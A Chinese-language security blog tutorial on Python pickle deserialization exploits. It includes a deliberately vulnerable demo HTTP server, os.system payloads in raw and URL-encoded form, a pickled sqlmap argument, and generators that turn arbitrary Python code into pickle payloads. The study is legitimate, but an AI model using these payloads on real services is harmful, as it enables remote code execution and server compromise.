Author:bit4@勾陈安全实验室
一般在什么场景下需要用到Pickle?
通常在解析认证token,session的时候。(如果你知道更多,欢迎留言补充,感谢!)现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html。
可能将对象Pickle后存储成磁盘文件。
可能将对象Pickle后在网络中传输。
可能参数传递给程序,比如sqlmap的代码执行漏洞
python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="
1.执行系统命令的Payload
首先构造一个简单的包含漏洞的代码。
后续的验证过程中,将生成的Payload放到poc.pickle文件中,使用该代码来读取PoC验证效果(我将其保存为dopickle.py)。
__author__ = 'bit4'
import pickle
pickle.load(open('./poc.pickle'))
值得注意的是,pickle有load
和loads2
个方法,load
需要的参数是文件句柄,loads
所需要的参数是字符串。
pickle允许任意对象去定义一个__reduce__
方法来申明怎么序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。
使用os.system执行命令的payload
#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'
import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" #要执行的命令
return os.system, (s,) #os.system("echo test >poc.txt")
e = genpoc()
poc = cPickle.dumps(e)
print poc
输出内容,也就是Payload:
cnt
system
p1
(S'echo test >poc.txt'
p2
tRp3
.
我们将如上生成的pyload放到poc.pickle文件中,然后执行验证代码dopickle.py,成功执行了"echo test >poc.txt
"。
现在问题来了,如何在实际的web环境中使用这些payload呢?
我们先实现一个简单的httpserver(dopicklehttpserver.py):
#coding:utf-8
__author__ = 'bit4'
import BaseHTTPServer
import urllib
import cPickle
class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
if "?payload" in self.path:
query= urllib.splitquery(self.path)
action = query[1].split('=')[1] #这种写法是一个坑,如果参数payload的值中包含了等号,将导致不正确,pickle将报“insecure string pickle”错误。
#action = query[1].replace("payload=","") #这种写法可以避免=的问题,但实际的项目中肯定不是这么写,求指教~
print action
try:
x = cPickle.loads(action) #string argv
content = x
except Exception,e:
print e
content = e
else:
content = "hello World"
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write("<html>")
self.wfile.write(" %s " % content)
self.wfile.write("</html>")
if __name__ == '__main__':
srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)
print 'started httpserver...'
srvr.serve_forever()
运行以上代码后,通过如下URL访问web,传递Payload给服务器。
127.0.0.1:8000/?payload=xxxx
怎么将Payload放到参数中呢,一个直接的想法是使用\n
来换行、使用url编码,Payload如下:
使用\n代替
cnt\nsystem\np1\n(S'echo test >poc.txt'\np2\ntRp3\n.
使用URl编码(换行符是%0A)
cnt%0Asystem%0Ap1%0A(S'echo test >poc.txt'%0Ap2%0AtRp3%0A.
使用URl编码(换行符是%0d%0a)
cnt%0d%0asystem%0d%0ap1%0d%0a(S%27echo+test+%3epoc.txt%27%0d%0ap2%0d%0atRp3%0d%0a
经过测试,第二种,使用%0A做换行符的是有效的payload,得到了成功执行。(但其实想想也该是它,作为url中的参数,当然该使用url编码啊)
http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27echo%20test%20>poc.txt%27%0Ap2%0AtRp3%0A.
在PHP中还有有一种比较常见的思路,通过base64编码后传递,如下这种,那我们可以在python中借鉴。这部分内容包含在了“执行任意python代码的payload”小节中。
http://www.xxx.com?path=php://filter/write=convert.base64-decode/resource=1.php
2.执行任意python代码执行payload
我们的目标是实现任意代码执行,所以我们要序列化的对象成了code类型,但是pickle是不能序列化code对象的。
但幸运的是,从python2.6起,包含了一个可以序列化code对象的模块--Marshal
。由于python可以在函数当中再导入模块和定义函数,所以我们可以将自己要执行的代码都写到一个函数里foo()
, 所以有了如下代码:
__author__ = 'bit4'
import marshalimport base64
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
print base64.b64encode(marshal.dumps(foo.func_code))
#print cPickle.dumps(foo.func_code) #TypeError: can't pickle code objects
想要这段输出的base64的内容得到执行,我们需要如下代码:
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()
写得更容易阅读点:
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
把这段代码转换成pickle后的格式,需要了解pickle的数据格式和指令。详细的转换过程可以参考:https://www.cs.uic.edu/~s/musings/pickle/
object
,然后将module.object
压入到堆栈中。最终的可以执行任意代码的payload生成器(第一种),foo()
函数中的部分是你应该自己编写替换的代码:
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
将以上代码生成的payload分别用于dopickle.py和dopicklehttpserver.py中进行测试。均成功执行命令。
注意:这里有一个坑,如上的dopicklehttpserver.py写法中,如果生成的payload中有等号(base64经常有等号),将导致参数获取不正确,而pickle.loads()
的时候, pickle将报“insecure string pickle
”错误。
如何正确从请求中获取参数,请知道的大侠留言告诉我。
除此之外还有另外一种思路:https://gist.github.com/freddyb/3360650
使用eval函数,但是它的一个限制是只接受表达式,不能包含函数和类的声明。(使用pickle序列化后的代码对象就达到了要求???)
执行任意代码的payload生成器(第二种):
try:
import cPickle as pickle
except ImportError:
import pickle
from sys import argv
def picklecompiler(sourcefile):
sourcecode = file(sourcefile).read()
return "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS'<payload>'\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)
def usage():
print '''usage: python %s filename''' % argv[0]
if __name__ == "__main__":
if len(argv) == 2:
print picklecompiler(argv[1])
else:
usage()
对以上代码生成的payload进行了测试,也只是成功执行了未包含函数和类的python代码,包含函数和类的则为执行成功。
3.终极payload生成器
参考:
http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
老外写的一个payload生成工具,地址为https://github.com/sensepost/anapickle 该工具中包含了大量的成熟payload,有了以上知识,不难理解其中的代码,也可以自己进行修改了。